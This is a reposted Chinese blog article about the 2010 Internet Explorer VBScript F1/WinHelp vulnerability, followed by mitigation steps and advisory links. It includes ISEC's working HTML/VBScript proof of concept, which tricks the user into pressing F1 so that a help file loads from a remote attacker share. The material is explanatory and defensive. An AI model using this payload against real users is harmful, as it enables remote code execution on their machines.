老文章(2010-03-02 22:10),猎奇的东西,转载了……

    Windows帮助文件本身存在可以运行任意代码的可能性。winhlp32.exe中如果存在堆栈溢出漏洞,用户请求一个“畸形”的Windows帮助文件将会导致winhlp32.exe溢出。

    那么这种攻击模式,如何实现远程攻击呢。波兰的安全组织ISEC给了我们一个很好的例子。也是这两天看到的“警惕F1按键”那个事件。这个漏洞其实在2007年2月就被ISEC发现,只是他们2010年2月才公开。

    下面看下这个攻击实例:

<html>
<script type="text/vbscript">
big = "\\IP\PUBLIC\test.hlp"
//For i=1 to 2500
//  big = big & "\..\"
//Next
MsgBox "please press F1 to save the world", ,"please save the world", big, 1
MsgBox "press F1 to close this annoying popup", ,"", big, 1
MsgBox "press F1 to close this annoying popup", ,"", big, 1
</script>
</html>

    说明一下,VBScript中的MsgBox函数的格式为:MsgBox(prompt[, buttons][, title][, helpfile, context])。Helpfile字符串表达式,用于标识为对话框提供上下文相关帮助的帮助文件。Context数值表达式,用于标识由帮助文件的作者指定给某个帮助主题的上下文编号。于是我们可以使用MsgBox函数,使Windows帮助文件实现远程Samba共享。

临时解决方案:

    如果你看到弹出对话框,让你按F1键。看看对话框上是不是有标题包含"VBScript",因为当MicroSoft Internet Explorer使用MsgBox函数时,任何对话框的标题总是包含"VBScript",以便于将其与标准对话框区别开来。如果让你反复按F1键,那你就结束IE进程就可以了。

    也可以使用命令来锁住Windows帮助。

cacls "%windir%\winhlp32.exe" /E /P everyone:N
cacls "%windir%\winhlp32.exe" /E /R everyone

相关资料:

http://blogs.technet.com/srd/archive/2010/03/01/help-keypress-vulnerability-in-vbscript-enabling-remote-code-execution.aspx
http://www.krebsonsecurity.com/2010/03/ms-be-careful-with-those-function-keys/
http://isec.pl/vulnerabilities/isec-0027-msgbox-helpfile-ie.txt
http://isec.pl/poc-isec27/